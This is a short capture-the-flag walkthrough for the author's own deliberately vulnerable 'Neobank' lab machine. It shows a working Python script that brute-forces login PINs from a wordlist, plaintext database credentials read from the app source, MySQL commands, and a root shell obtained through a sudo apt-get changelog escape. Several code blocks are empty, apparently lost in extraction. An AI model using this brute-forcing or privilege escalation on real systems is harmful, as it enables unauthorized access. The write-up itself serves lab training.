You’ll find this vm in Vulnhub https://www.vulnhub.com/entry/neobank-1,642/
Also to HackMyVm https://hackmyvm.eu/machines/machine.php?vm=Neobank
Youtube Video
Directory Scan
1 |
|
/login
/logout
/otp
/qr
/withdraw
/email_list
Retreive emails
- Under the
/email_list
you can retrieve the emails
1 |
|
Brute force
- Creating the
pins
wordlist usingrockyou.txt
1 |
|
- bruteforce script
import requests
import sys
url = 'http://10.0.2.121:5000/login'
with open('/home/alienum/Desktop/emails.txt') as users:
for u in users:
with open('/home/alienum/Desktop/pins.txt') as pins:
for p in pins:
user = {"email":u.strip(),"pin":p.strip()}
r = requests.post(url,data = user)
if len(r.cookies) != 0:
print('~~~~~~~~~~~~~~~~~~~')
print('Credentials found!!')
print('~~~~~~~~~~~~~~~~~~~')
print('[+] Username : '+ u.strip())
print('[+] Password : '+ p.strip())
sys.exit()
- Run it
1
2
3
4┌──(alienum㉿kali)-[~] └─$ python3 neobank-bf.py [+] Username : zeus@neobank.vln [+] Password : 2*****
OTP google authenticator
- Scan the qrcode and insert the otp code
Exploit eval() python function
1 |
|
MySQL enumeration find banker credentials
cat /var/www/html/main.py
banker:neobank1
mysql -u banker -pneobank1
use bank;
select * from system;
banker:adv1se.me
GTFObins
- sudo -l
sudo apt-get changelog apt
!/bin/sh
- This vm created by me, i enjoyed the process